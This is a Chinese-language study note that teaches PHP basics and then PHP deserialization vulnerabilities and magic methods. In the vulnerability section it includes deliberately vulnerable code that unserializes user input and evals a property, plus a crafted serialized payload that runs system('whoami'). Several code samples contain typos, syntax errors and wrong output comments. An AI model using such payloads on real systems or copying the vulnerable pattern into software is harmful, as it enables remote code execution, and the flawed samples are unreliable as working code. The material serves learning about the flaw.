PHP以及反序列化漏洞学习

参见B站视频:

https://www.bilibili.com/video/BV1Yb411v7nK/

https://www.bilibili.com/video/BV1R24y1r71C/

简介

概念

运行在服务器的脚本语言

  • 超文本预处理器
  • 服务端的脚本语言
  • 可以和 HTML 无缝对接
  • 文件名以「.php」结尾

工作流程

  1. 客户端发送一个请求
  2. 服务器运行 PHP
  3. 查询数据库(如果需要) / 加载其他文件(如果需要)
  4. 返回请求结果

特点

  1. 容易学习
  2. 免费开源
  3. 兼容性高
  4. 跨平台
  5. 灵活

能做什么

  1. 创建动态页面
  2. 与服务器上的文件进行交互
  3. 处理表单事件
  4. 发送或接受 Cookies
  5. 与数据库进行交互

编写语法

文件头

<?php // 文件头
	echo 'Hello World!' 
?>//文件尾

注释

<?php
    //单行注释
    #单行注释
    /*
    	多行注释
    */
?>

变量

<?php 
#变量 variables:
    /*
    	- 前缀是"$"
    	- 字母/下划线开头
    	- 大小写敏感
    */
    $_output = "Hello World!";
	echo $_output // echo 函数回显
?>

数据类型

<?php 
/*
	-String
	-Integer
	-Float
	-Boolean
	-Array
	-Object
	-Null
	-Resource
*/
	$_output = "Hello";
	$number = 5;
	$float = 5.5;
	$bool = false;
?>

嵌套 html

<h1><?php
	echo 'Hello World!'
?></h1>

数字相加

<?php 
    #数字相加用 「+」
	$num1 = 7;
	$num2 = 12;
	$sum = $num1 + $num2;

	echo $sum;#19
?>

字符串

<?php 
    #字符串拼接用 「.」
	$string1 = "Hello";
	$string2 = "World";
	$greeting = $string1 . " " . $string2;
	
	echo $greeting;#Hello World
?>

单引号和双引号

<?php 
    /*
    单引号所有内容是字符串
	双引号变量可解析
    */
	$string1 = "Hello";
	$string2 = "World";
	$greeting1 = '$string1 $string2';
	$greeting2 = "$string1 $string2";
	echo $greeting1;#$string1 $string2
	echo $greeting2;#Hello World
?>

转义字符

<?php 
	$string1 = "They're Here";
	$string2 = 'They\'re Here';
?>

常量

<?php 
	#常量名要求大写
	define('GREETING','Hello Everyone!');
	#后面加true可使用小写
	define('GREETING','Hello Everyone!',true);
?>

if switch

<?php 
	#执行一行
	$num = 2;
	if($num <= 4)
		echo "Bingo";
		
	#执行多行
	$num = 2;
	if($num <= 4){
		echo "Bingo";
		echo "Bingo!BINGO!";
	}
	
	#== 和 ===
	$num = '4';
	if($num == 4)#值相等,为T
		echo "Bingo";
	$num = '4';
	if($num === 4)#值相等但是类型不等,为F
		echo "Bingo";
	
	#if else
	$num = 3;
	if($num == 4)
		echo "4Bingo";
	else if($num == 5)
		echo "5Bingo";
	else 
		echo "NO!";

	#if 嵌套
	$num = 6;
	if($num > 4){
		if($num < 10){
			echo "4<num<10";
		}else{
			echo "num>=10";
		}
	}else if ($num == 4){
		echo "num=4"
	}

	#逻辑运算符
	/*
		AND &&
		OR ||
		XOR
		逻辑短路:左边满足右边不执行
	*/
	$num = 6;
	if($num > 4 AND $num < 10){#($num > 4 && $num < 10)也可
        echo "4<num<10";
	}

    $num = 6;
        if($num > 4 OR $num < 10){#($num > 4 || $num < 10)也可
            echo "大于4或小于10";
        }
	
    $num = 6;
            if($num > 4 XOR $num < 10){
                echo "只能有一真才真";
            }

	#switch(不加break会穿透)
	$favColor = "black";
	
	switch($favColor){
        case 'red'
            echo "RED!"
            break;
        case 'blue'
            echo "BLUE!"
            break;
        case 'black'
            echo "BLACK!"
            break;
        default:
            echo "NO!"
            break;
    }
?>

数组

<?php 
	#下标数组
	$people = array("Kevin","Henry","Bucky");
	$cars = ["Honda","Toyota","Ford"];
	echo $people[0];
    echo $cars[2];
    
    #添加数组
    $cars[3] = "Bence";
    $cars[] = "BMW";
    
    #计算个数
    echo count($cars);
    
    #输出数组
    print_r($cars);
    
    #万能输出
    var_dump($cars);
#-----------------------------------------------
	#关联数组
	$member = array("Subaru" => 486,"Nina" => 27);
	echo $member["Subaru"];
	$ids = [27 => "nina",486 => "subaru"];
	echo $ids[27];
	
	#添加关联数组内容
	$member["Kita"] = 193;
	
    #输出数组
    print_r($member);
    
    #万能输出
    var_dump($member);
#-----------------------------------------------
	#多位数组
    $ecars = array(
    	array("Honda",20,10),
        array("Toyota",10,15),
        array("Ford",23,13)
    );
    
    echo $cars[2] [2];
?>

循环

<?php
	#for 循环:知道循环多少次
	#@pamrams - init,condition,inc
	for($i = 0;$i < 10;$i++){
		echo $i;
		echo "<br>";
	}
	
	#while 循环:不知道循环多少次
	#@params - condition
	$i = 0;
	
	while($i < 10){
		echo $i;
		echo "<br>";
		$i++;
	}
	
	#do-while 循环
	#@params - conditon
	$i = 0;
	do{
		echo $i;
		echo "<br>";
		$i++;
	}
	
	while($i < 10);
	
	#foreach循环 下标Array
	$people = array("Henry","Elyse","Bucky");
	
	for($i = 0;$i < count($people);$i++){
		echo $people[$i]."<br>";
	}
	#等同于
	foreach($people as $person){
		echo $peson;
		echo "<br>";
	}
	#关联数组
	$people = [
		"Henry" => "henry@gmail.com",
		"Elyse" => "elyse@gmail.com",
		"Bucky" => "bucky@gmail.com"
	];
	
	foreach($people as $person => $email){
		echo $person.":">$email;
		echo "<br>";
	}
?>

函数

定义函数

<?php
	#定义函数
	function simpleFunction(){
		echo "Hello World!";
	}
	#调用参数
	simpleFunction();
	
	#带参函数
	function sayHello($name = "Henry"){#默认参数
		echo "Hello $name<br>";
	}
	sayHello("Joe");
	sayHello();
	
	#有参有返回值
	function addNumbers($num1,$num2){
		return $num1+$num2;
	}
	echo addNumbers(2,3);
	
	#函数传引用
	$myNum = 10;
	function addFive($num){
		$num += 5;
	}
	
	function addTen(&$num){#引用
		$num += 10;
	}
	addFive($myNum);
	echo "value:$myNum<br>";#10
	
	addTin($myNum);
	echo "Value:$myNum<br>";#10+10
	
?>

字符串函数

<?php
	#substr
    #返回字符串的一部分
    $output = substr("Hello",1,3);#从第一位开始到第三位结束
    echo $output;#ell
    
    $output = substr("Hello",-2);#取最后二位
    echo $output;#lo
    
    #strlen
    #返回字符串长度
    $output = strlen("Hello World");
    echo $output;#12
    
    #strpos
    #查找字符串第一次出现的位置
    $output = strpos("Hello World","o");
    echo $output;#4
    
    #strrpos
    #查找字符串最后一次出现的位置
    $output = strrpos("Hello World","o");
    echo $output;#7
    
    #trim
    #去除首尾空格
    $text = "Hello World         ";
    $trimed = trim($text);
    
    #strtoupper
    #字符串转为大写
    $output = strtoupper("hello world");
    echo $output;#HELLO WORLD
    
    #strtolower
    #字符串转为小写
    $output = strtoplower("HELLO WOrld")
    echo $output;#hello world
    
    #ucwords
    #每个单词的首字母大写
    $output = strtoupper("hello world");
    echo $output;#Hello World
    
    #str_replace()
    #替换所匹配的内容
    $text = "Hello World";
    $output = str_replace("World","Everyone",$text);
    echo $output;#Hello Everyone
    
    #is_string
	#判断是不是字符串
    $var1 = 44;
    $var2 = '44';
    $output = is_string($var1)
    echo $output;#0
    $output = is_string($var2)
    echo $output;#1
    
    #gzcompress
    #压缩字符串
    $string = "sfaikuvjkfsdvbkjlfeiu"
    $compressed = gzcompress($string);
    echo $compressed;#压缩后的乱码
    
    #gzuncompress
    #解压字符串
    original = gzunpress($compresed);
    echo $original;
?>

数组函数

<?php
	#创建数组
	$array  = array();
	array_push($array,"hello");
	
	#添加内容
	array_push($array,"hello");#往最后面放
	array_unshift($array,"world");#往最前面放

	#删除内容
	array_pop($array);#删除结尾的
	array_shift($array);#删除开头的
	
	#数组排序
	array = [1,5,2,3,8,7,9,6,4];
	sort($array);
	
	#数组转为字符串
	$array = array("hello","world");
	$string = implode(",",$array);
	echo $string;
	
	#字符串转换为数组
	$array = explode(",",$string);
	
?>

文件引入

DRY原则:Don’t Repeat Yourself

引用前:

/home.php

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Home</title>
</head>
<body>
    <ul>
        <li><a href="index.php">Home</a></li>
        <li><a href="about.php">About</a></li>
        <li><a href="contact.php">Contact</a></li>
    </ul>
    
    <h1> Home </h1>
    
    <footer>
        <p>website &copy; 2024</p>
    </footer>
</body>
</html>

/about.php

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Home</title>
</head>
<body>
    <ul>
        <li><a href="index.php">Home</a></li>
        <li><a href="about.php">About</a></li>
        <li><a href="contact.php">Contact</a></li>
    </ul>
    
    <h1> About </h1>
    
    <footer>
        <p>website &copy; 2024</p>
    </footer>
</body>
</html>

/contact.php

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Home</title>
</head>
<body>
    <ul>
        <li><a href="index.php">Home</a></li>
        <li><a href="about.php">About</a></li>
        <li><a href="contact.php">Contact</a></li>
    </ul>
    
    <h1> About </h1>
    
    <footer>
        <p>website &copy; 2024</p>
    </footer>
</body>
</html>

引用后:

/inc/header.php

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Home</title>
</head>
<body>
    <ul>
        <li><a href="index.php">Home</a></li>
        <li><a href="about.php">About</a></li>
        <li><a href="contact.php">Contact</a></li>
    </ul>

/inc/footer.php

    <footer>
        <p>website &copy; 2024</p>
    </footer>
</body>
</html>

/home.php

#include引用:即使报错也继续解析代码(可加括号)

<?php include "inc/header.php" ?>
<h1> Home </h1>
<?php include "inc/footer.php" ?>

/about.php

#require引用:一旦报错就不执行下面代码(可加括号)

<?php require "inc/header.php" ?>
<h1> About </h1>
<?php require "inc/footer.php" ?>

/contact.php

#include_once/require_once:只引入一次,多引入不起效果

<?php include_once("inc/header.php") ?>
<?php include_once("inc/header.php") ?>
<?php include_once("inc/header.php") ?>
<h1> Contact </h1>
<?php require_once "inc/footer.php" ?>
<?php require_once "inc/footer.php" ?>
<?php require_once "inc/footer.php" ?>

Shorthand 语法糖

<?php
	$loggedIn = ture;
	
	#if:
	if($loggedIn){
		echo "You're logged in";
	}else{
        echo "You're NOT logged in";		
	}
	
	#三目运算符
	echo (loggedIn) ? "You're logged in" : "You're NOT logged in";

    # 三目运算符嵌套使用
    $age =7;
    $score = 12;
    echo "你的分数是:".($score>10?($age>10 ? "中等成绩":"优等成绩"):($age > 10 ? "差等成绩":"中等成绩"));
?>

与 html 嵌套

<?php$loggedIn = ture;?>

<div>
<?php if($loggedIn){ ?>
    <h1>Welcome!</h1>
<?php }else{ ?>
    <h1>Hello Everyone!</h1>
<?php } ?>
</div>

<!-- 更美观的写法 -->
<div>
<?php if($loggedIn):?>
    <h1>Welcome!</h1>
<?php else: ?>
    <h1>Hello Everyone!</h1>
<?php endif; ?>
</div>

<!-- for 循环语法糖 -->
<div>
<?php for($i=0;$i< 10;$i++):?>
    <li><?php echo $i."<br>";?></li>
<?php endfor;?>
</div>

<!-- foreach 循环语法糖 -->
<?php$arr = ["Henry","Bucky","Emily"];?>
<div>
<?php foreach($arr as $val): ?>
    <?php echo $val."<br>";?>
<?php endforeach;?>
</div>

超全局对象 $_SERVER

$_SERVER — 服务器和执行环境信息 PHP文档

/server-info.php

<?php
	$server=[#关联数组_服务器信息
        "Host Server Name"=>$_SERVER["SERVER_NAME"],
        "Server Software" => $_SERVER["SERVER_SOFTWARE"],
        "Document Root" => $_SERVER["DOCUMENT_ROOT"],
        "Http Host" => $_SERVER["HTTP_HOST"],
        "Script Name" => $_SERVER["SCRIPT_NAME"]
        "Absolute Path" => $_SERVER["SCRIPT_FILENAME"]
        "Current Page" => $_SERVER["PHP_SELF"]
    ];
    #echo $server["Current Page"];

	$client = [#关联数组客户端信息
        "Client System Info" => $_SERVER["HTTP_USER_AGENT"],
        "Client IP" =>$_SERVER["REMOTE_ADDR"],
        "Remote Port"=> $_SERVER["REMOTE_PORT"]
    ];
    #echo $client['Remote Port"];
?>

/index.php

<?php include "server-info.php" ?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>服务器与客户端的信息</title>
    <link rel="stylesheet" href="https://bootswatch.com/cosmo/bootstrap.min.css">
</head>
<body>
    
    <div class="container">
        <h1>服务器端的配置信息</h1>
        <?php if($server): ?>
        <ul class="list-group">
            <?php foreach($server as $key => $value): ?>
            <li class="list-group-item">
                <strong><?php echo $key; ?>:</strong>
                <?php echo $value; ?>
            </li>
            <?php endforeach;?>
        </ul>
        <?php endif; ?>
    </div>
    
        <h1>客户端的配置信息</h1>
        <?php if($client): ?>
        <ul class="list-group">
            <?php foreach($client as $key => $value): ?>
            <li class="list-group-item">
                <strong><?php echo $key; ?>:</strong>
                <?php echo $value; ?>
            </li>
            <?php endforeach;?>
        </ul>
        <?php endif; ?>

   
</body>
</html>

GET&POST 请求

GET放入URL

POST放入HTTP header里

$_GET 和 $_POST 类似上面 $_SERVER

/get_post.php

<?php
    /*#GET
    if(isset($_GET["name"])){#判断是否GET传入name
        echo $_GET["name"];
        $email = $_GET["email"];
        print_r($email);
    }
	#POST
    if(isset($_POST["name"])){#判断是否GET传入name
        echo $_POST["name"];
        $email = $_POST["email";]
        print_r($email);
    }*/
	#REQUEST 获取GET或者POST(需要注释上面)
    if(isset($_REQUEST["email"])){#判断是否GET传入name
    echo $_REQUEST["email"];
    $name = $_REQUEST["name";]
    print_r($name);
        
    echo $_SERVER["QUERY_STRING"];#获取GET传入的值("?"后面的)
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>My Website</title>
</head>
<body>
    
    <!--GET提交到当前php-->
    <form method="GET" action="get_post.php">
        <div>
            <label>名字</label>
            <input type="text" name="name">
        </div>
        <div>
            <label>邮箱</label>
            <input type="text" name="email">
        </div>
        <input type="submit" value="确认">
    </form>
    
    <!--前端传入 后台存储 返回前端-->
    <ul>
        <li><a href="get_post.php?name=Henry">Henry</a></li>
        <li><a href="get_post.php?name=Bucky">Bucky</a></li>
    </ul>
    
    <h1>
    	<?php echo"我的名字是:{$name}"?>
    </h1>
       
</body>
</html>

过滤器函数

<?php 
	#FILTER_VALIDATE_BOOLEAN
    #FILTER_VALIDATE_EMAIL
    #FILTER_VALIDATE_FLOAT
    #FILTER_VALIDATE_INT
    #FILTER_VALIDATE_IP
    #FILTER_VALIDATE_REGEXP
    #FILTER_VALIDATE_URL

    #FILTER_SANITIZE_EMAIL
    #FILTER_SANITIZE_ENCODED
    #FILTER_SANITIZE_NUMBER_FLOAT
    #FILTER_SANITIZE_NUMBER_INT
    #FILTER_SANITIZE_SPECIAL_CHARS
    #FILTER_SANITIZE_STRING
    #FILTER_SANITIZE_URL
/*
	#检查post过来的数据
	if(filter_has_var(INPUT_POST,'data')){#是否有这样的变量,type如果是post用INPUT_POST
        echo "data found";
    }else{
        echo "No data";
    }
*/
	if(isset($_POST["data"])){
        $email = $_POST["data"];
        
        #干掉不合法字符
        $email = filter_var($email,FILTER_SANITIZE_EMAIL);
        echo $email;
        
        #验证是否为邮箱
        if(filter_input(INPUT_POST,'data',FILTER_VALIDATE_EMAIL)){
            echo "邮箱合法";
        }else{
            echo "邮箱非法";
        }
        
        #VALIDATE验证
        if(filter_var($email,FILTER_VALIDATE_EMAIL)){
            echo "邮箱合法";
        }else{
            echo "邮箱非法";
        }
    }
    
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>过滤器函数</title>
</head>
<body>
    <form method="post" action="<?php echo $_SERVER['PHP_SELF'];?>">
        <input type="text" name="data">
        <button type="submit">submit</button>
    </form>
</body>
</html>

Session 存储

Session 存储在服务器上

/page1.php

<?php 
	if(isset($_POST{"submit"})){
        $name = $_POST["name"];
        $email = $_POST["email"];
        
        #存储到session里
        session_start();#如果不执行此方法,不能使用session
        
        $_SESSION["name"] = $name;
        $_SESSION["email"] = $email;
        
        header("Location: page2.php");#跳转
    }
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>PHP SESSION</title>
</head>
<body>
    <form method="POST" action="<?php echo $_SERVER['PHP_SELF'];?>">
        <input type="text" name="name" placeholder="Enter Name">
        <input type="text" name="email" placeholder="Enter Email">
        <input type="sumbit" name="submit" value="Submit">
    </form>
</body>
</html>

/page2.php

<?php 
        #获取到session
        session_start();#
        
        $name = $_SESSION["name"];
        $email = $_SESSION["email"];

    }
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Page2</title>
</head>
<body>
    <div>你的名字是:<?php echo $name; ?></div>
    <div>你的邮箱是:<?php echo $email; ?> </div>
</body>
</html>

/page3.php

<?php 
        #清除session
        session_start();
        unset($_SESSION["name"]);#清除name
        session_destroy();#清除所有

        $name = isset($_SESSION["name"]) ? $_SESSION["name"] : '';#消除报错,无则返回空
        $email = $_SESSION["email"];
    }
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Page2</title>
</head>
<body>
    <div>你的名字是:<?php echo $name; ?></div>
    <div>你的邮箱是:<?php echo $email; ?> </div>
</body>
</html>
    }
?>

/page1.php

<?php 
	if(isset($_POST{"submit"})){
        $username = $_POST["username"];
		setcookie("username",$usename,time() + 3600)#名字,变量,过期时间(当前时间+1小时)
    }
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>PHP Cookies</title>
</head>
<body>
    <form method="POST" action="<?php echo $_SERVER['PHP_SELF'];?>">
        <input type="text" name="username" placeholder="Enter Name">
        <input type="sumbit" name="submit" value="Submit">
    </form>
</body>
</html>

/page2.php

<?php 
	#修改
    setcookie("username","Henry",time() + (86400 * 30))
        
    #删除(过期时间)
    setcookie("username","Henry",time() +- 3600)
        
    # 判断有几个cookie
    if(count($COOKIE)>0){
        echo "一共有".count($_COOKIE)."个cookies";
    }else{
    echo "没有任何的cookies";
    }

	#查询
	if(isset($_COOKIE{"submit"})){#查询
        echo "Username".$_COOKIE["username"]." 存在";
    }else{
    	echo "username不存在";
?>

面向对象

面向过程

面向过程是一种以“整体时间”为中心的编程思想,编程的时候把解决问题的步骤分析出来,然后用函数把这些步骤实现,再一步步的具体步骤中按照顺序调用函数

面向对象

面向对象是一种以“对象”为中心的编程思想,把要解决的问题分解成哥哥“对象”,对象是一个由信息及对信息进行处理的描述所组成的整体,是对现实世界的抽象

类是定义了一件事物的抽象特征,它将数据的形式以及这些数据上的操作封装在一起

对象

对象是具有类类型的变量,是对类的实例,内部构成:成员变量(属性)+ 成员函数(方法)

成员变量

成员变量是定义在类内部的变量,变量的只对外是不可见的,但是可以通过成员函数访问,在类被实例化为对象后,该变量即可成为对象的属性

成员函数

成员函数定义在类的内部,可用于访问对象的数据

继承

是子类自动共享父类数据结构和方法的机制,是类之间的一种关系。在定义和实现一个已经存在的类所定义的内容作为自己的内容,并加入若干新的内容

<?php 
	#类
	#对象
	/*
        public:访问场景
            类的外部可以访问
            类的内部可以访问
            类的子类可以访问

        private:访问场景
            类的内部可以访问

        protected:访问场景
            类的内部可以访问
            类的子类可以访问
    */
	#创建一个类
	class Person{
		#属性 <名词>
		public $name = "Nina";#外部,内部,子类都可
		private $email = 22227777@qq.com;#只能在类的花括号里使用
    	protected $age = 18;#花括号里,子类
		
        #方法 <动词>
    	public function setEmail($email){
            $this->email = $email;#this是实例化的对象
        }
    	public function getEmail(){
            return $this->email;
        }
    
    
        #构造函数:自执行函数——对象实例化时执行
        public function __construct($name,$email){
            $this->name = $name;
            $this->email = $email;
        }
    
    	#析构函数:自执行函数——对象销毁时执行
    	public function __destruct(){
            	echo __CLASS__."被销毁了";#当前class变量
        }
	}

	#实例化对象
    $person1 = new Person("Henry","123123123@123.com");
	$person1->name = "Henry";
	echo $person1->name;#调用不加$
	echo $persion1->getEmail();
	
	$person2 = new Person("Bucky","123123@123.com");
	echo $person2->name;
	echo $persion2->getEmail();

	#类的继承
	class Customers extends Person{
        private $salary = "3000";
        public function setSalary($salary){
            $this->salary = $salary;
        }
        public function getSalary(){
            return $this->salary;
        }
        
        #构造函数
        public function __construct($name,$email,$salary){
            #调用父级构造函数
            parent::__construct($name,$email);
            $this->salary = $salary;
        }
    }

	$customer1 = new Customers("henry","Henry@gmail.com","10000");
    echo $customer1->getName();

?>

修改数据库

<?php
    #链接数据库
	$mysqli = new mysqli("localhost","root","","people");#主机名,用户名,密码,要链接的数据库(mysql-user里有)
	
	#判断数据库是否连接成功
	id($mysql->connect_errno){#Error Number
        #非0就为连接失败
        die($mysql->connect_error);
    }
	
	#设定编码格式
	$mysqli->query(
	#运行sql语句
	$mysqli->query("INSERT INTO 'customers'('id','firstName','lastName','email','address','city','state')VALUES (NULL,'li','four','123123@qq.com','广东深圳','广东','深圳')")

    #判断是否插入成功
    if($result){
        echo "插入成功";
    }else{
        echo "插入失败";
    }
    $mysqli->close();
?>

序列化

序列化是讲对象的状态信息(属性)转化为可以存储或传输的形式。将或者数组转化为可存储/传输的字符串

注意:冒号分割,分号结束

一般活用echo urlencode()、urldecode()

<?php
class TEST {
    public $data;
    public $data2 = "dazzhuang";
    private $pass;

    public function __construct($data, $pass)
    {
        $this->data = $data;
        $this->pass = $pass;
    }
}

$number = 34;#i:34; --i+值(小数是d+值)
$str = 'user';#s:4:"user"; --s+长度(分割字符串与代码)+字符串
$bool = true;#b:1; --b+1真/0假
$null = NULL;#$N; --N
$arr = array('a' => 10, 'b' => 200);#a:2:{s:1:"a";i:10;s:1:"b";i:200;} --数组名+内容数量+{i:编号+值名字长度;+……}

#序列化对象,不可序列化类,只序列化成员变量,不序列化函数
$test = new TEST('uu', true);
#O:4:"TEST":3:{s:4:"data";s:2:"uu";s:5:"data2";s:9:"dazzhuang";s:10:"0TESTpass0";b:1;}
#O(Object)+类名长度+类名+变量数量:{s:成员属性名字长度;+值名字长度+……}

#私有属性会在前面加上%00当前类名%00(空字符也算长度)
#受保护的属性会在前面加上%00*%00

$test2 = new TEST('uu', true);
$test2->data = &$test2->data2;
#O:4:"TEST":3:{s:4:"data";s:9:"dazzhuang";s:5:"data2";R:2;s:10:"TESTpass";b:1;}

echo serialize($number)."<br />";
echo serialize($str)."<br />";
echo serialize($bool)."<br />";
echo serialize($null)."<br />";
echo serialize($arr)."<br />";
echo serialize($test)."<br />";
echo serialize($test2)."<br />";
?>

image-20240905164555921

反序列化

反序列化之后的内容是一个对象

反序列化生成的对象里的值,反序列化里的值

反序列化不触发类的成员方法,需要调用方法后才触发

<?php
class test {
    public  $a = 'benben';
    protected  $b = 666;
    private  $c = false;
    public function displayVar() {
        echo $this->a;
    }
}
$d = new test();
$d = serialize($d);
echo $d."<br />";
echo urlencode($d)."<br />";
$a = urlencode($d);
$b = unserialize(urldecode($a));
var_dump($b);

?>

反序列化漏洞

成因

反序列化过程中,unserialize()接收的值(字符串)可控,
通过更改这个值(字符串)得到所需要的代码
通过调用方法,触发代码执行。

魔术方法

一个预定义好的。在特定情况下自动触发的行为方法

魔术方法在特定条件下自动调用相关方法,最终导致触发代码

相关机制:出发时机、功能、参数、返回值

触发前提

魔术方法所在的类(或对象)被调用

<?php
class fast {
    public $source;
    public function __wakeup(){
        echo "wakeup is here!!";
        echo  $this->source;
    }
}
class sec {
    var $benben;
    public function __tostring(){
        echo "tostring is here!!";
    }
}
$b = $_GET['benben'];
unserialize($b);
?>

未调用fast

$b = 'O:3:"sec":1:{s:6:"benben";N;}';

image-20240914214654009

调用了fast

$b = 'O:4:"fast":1:{s:6:"source";O:3:"sec":1:{s:6:"benben";N;}}';

image-20240914214502500

__construct()和__destruct()

__construct()构造函数

在实例化一个对象的时候,首先会去自动执行的一个方法

  • 触发时机:实例化对象

  • 功能:提前清理不必要内容

  • 参数:非必要

  • 返回值:——

<?php
class User {
    public $username;
    public function __construct($username) {
        $this->username = $username;
        echo "触发了构造函数1次" ;
    }
}
$test = new User("benben");#创建,触发
$ser = serialize($test);#序列化,不触发
unserialize($ser);#反序列化,不触发

?>

__destruct()析构函数

在对象的所有引用被删除或者当对象被显式销毁时执行的魔术方法

  • 触发时机:对象引用完成或对象被销毁

  • 功能:——

  • 参数:——

  • 返回值:——

<?php
class User {
    public function __destruct()
    {
        echo "触发了析构函数1次"."<br />" ;
    }
}
$test = new User("benben");#实例化结束后代码运行完全销毁,触发
$ser = serialize($test);#序列化,不触发
unserialize($ser);#反序列化,触发

?>

例题:

<?php
error_reporting(0);
class User {
    var $cmd = "echo 'dazhuang666!!';" ;
    public function __destruct()
    {
        eval ($this->cmd);
    }
}
$ser = $_GET["benben"];
unserialize($ser);

?>

解析:unserialize()触发__destruct(),__destruct()执行eval(),eval()触发代码

传入:

?benben=O:4:"user":1:{s:3:"cmd";s:17:"system("whoami");";}

__sleep()和__wakeup()

__sleep()函数

序列化serialize()函数回检查类中是否存在一个魔术方法__sleep(),如果存在,该方法会被调用,然后才执行序列化操作

此功能可以用于清空对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则NULL被序列化,并产生一个E_NOTICE级别的错误

  • 触发时机:序列化serialize()之前

  • 功能:对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性

  • 参数:成员属性

  • 返回值:需要被序列化存储的成员属性

<?php
class User {
    const SITE = 'uusama';
    public $username;
    public $nickname;
    private $password;
    public function __construct($username, $nickname, $password)    {
        $this->username = $username;
        $this->nickname = $nickname;
        $this->password = $password;
    }
    public function __sleep() {
        return array('username', 'nickname');#只返回username, nickname
    }
}
$user = new User('a', 'b', 'c');
echo serialize($user);
?>

__wakeup()函数

unserialize()会检査是否存在一个__wakeup()方法。如果存在则会先调用__wakeup()方法,预先准备对象需要的资源预先准备对象资源,返回void,常用于反序列化操作中重新建立数据库,连接或执行其他初始化操作。

  • 触发时机:反序列化unserialize()之前

  • 功能:——

  • 参数:——

  • 返回值:——

  • 对比:wakeup()在反序列化unserialize()之前,destruct()在反序列化unserialize()之后

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    const SITE = 'uusama';
    public $username;
    public $nickname;
    private $password;
    private $order;
    public function __wakeup() {
        $this->password = $this->username;
    }
}
$user_ser = 'O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}';
var_dump(unserialize($user_ser));#先执行__wakeup赋值password,最后会输出password
?>

例题:

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    var $cmd = "echo 'dazhuang666!!';" ;
    public function __destruct()
    {
        eval ($this->cmd);
    }
}
$ser = $_GET["benben"];
unserialize($ser);

?>

传入

?benben=O:4:"User":1:{s:8:"username";S:2:"id";}

__toString()和__invoke()

__toString()函数

表达方式错误导致魔术方法触发,常用于构造POP链接

  • 触发时机:把对象当成字符串调用

  • 功能:——

  • 参数:——

  • 返回值:——

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    var $benben = "this is test!!";
         public function __toString()
         {
             return '格式不对,输出不了!';
          }
}
$test = new User() ;
print_r($test);#正常输出
echo "<br />";
echo $test;#对象当成字符串输出,触发
?>

__invoke()函数

格式表达错误导致魔术方法触发

  • 触发时机:把对象当成函数调用
  • 功能:——
  • 参数:——
  • 返回值:——
<?php
error_reporting(0);
class User {
    var $benben = "this is test!!";
         public function __invoke()
         {
             echo  '它不是个函数!';
          }
}
$test = new User() ;
echo $test ->benben;#正常输出,不触发
echo "<br />";
echo $test() ->benben;#对象当做函数调用,触发
?>

错误调用相关魔术方法

__call()函数

  • 触发时机:调用一个不存在的方法
  • 功能:——
  • 参数:2个参数,传参arg1,arg2
  • 返回值:调用的不存在的方法的名称和参数
<?php
error_reporting(0);
class User {
    public function __call($arg1,$arg2)
    {
        echo "$arg1,$arg2[0]";
          }
}
$test = new User() ;
$test -> callxxx('a');#不存在,触发并传参callxxx,a
?>

__callStatic()函数

  • 触发时机:静态调用或调用常量的时候使用的方法不存在
  • 功能:——
  • 参数:2个参数,传参arg1,arg2
  • 返回值:调用的不存在的方法的名称和参数
<?php
error_reporting(0);
class User {
    public function __callStatic($arg1,$arg2)
    {
        echo "$arg1,$arg2[0]";
          }
}
$test = new User() ;
$test::callxxx('a');#不存在,触发并传参callxxx,a
?>

__get()函数

  • 触发时机:调用的成员属性不存在
  • 功能:——
  • 参数:传参$arg1
  • 返回值:不存在的成员属性的名称
<?php
error_reporting(0);
class User {
    public $var1;
    public function __get($arg1)
    {
        echo  $arg1;
    }
}
$test = new User() ;
$test ->var2;#不存在,触发并传参var2
?>

__set()函数

  • 触发时机:给不存在的成员赋值
  • 功能:——
  • 参数:2个参数,传参arg1,arg2
  • 返回值:不存在的成员属性的名称和赋的值
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    public $var1;
    public function __set($arg1 ,$arg2)
    {
        echo  $arg1.','.$arg2;
    }
}
$test = new User() ;
$test ->var2=1;#不存在,触发并传参var2,1
?>

__isset()函数

  • 触发时机:对不可访问(不可读或者不存在)的属性使用isset()或empty()时,__isset()会被调用
  • 功能:——
  • 参数:传参$arg1
  • 返回值:不存在的成员属性的名称
<?php
error_reporting(0);
class User {
    private $var;#不可读
    public function __isset($arg1)
    {
        echo  $arg1;
    }
}
$test = new User() ;
isset($test->var);#不可读,触发并传参var
?>

__unset()函数

  • 触发时机:对不可访问(不可读或者不存在)的属性使用unset()会被调用
  • 功能:——
  • 参数:传参$arg1
  • 返回值:不存在的成员属性的名称
<?php
error_reporting(0);
class User {
    private $var;#不可读
    public function __unset($arg1 )
    {
        echo  $arg1;
    }
}
$test = new User() ;
unset($test->var);#不可读,触发并传参var
?>

__clone()函数

  • 触发时机:当使用clone关键字拷贝完成一个对象后,新对象会自动调用定义的魔术方法__clone()
  • 功能:——
  • 参数:——
  • 返回值:——
<?php
error_reporting(0);
class User {
    private $var;
    public function __clone( )
    {
        echo  "__clone test";
          }
}
$test = new User() ;
$newclass = clone($test)#触发
?>

总结

__construct() __destruct() __sleep() __wakeup() __toString() __invoke() __clone()
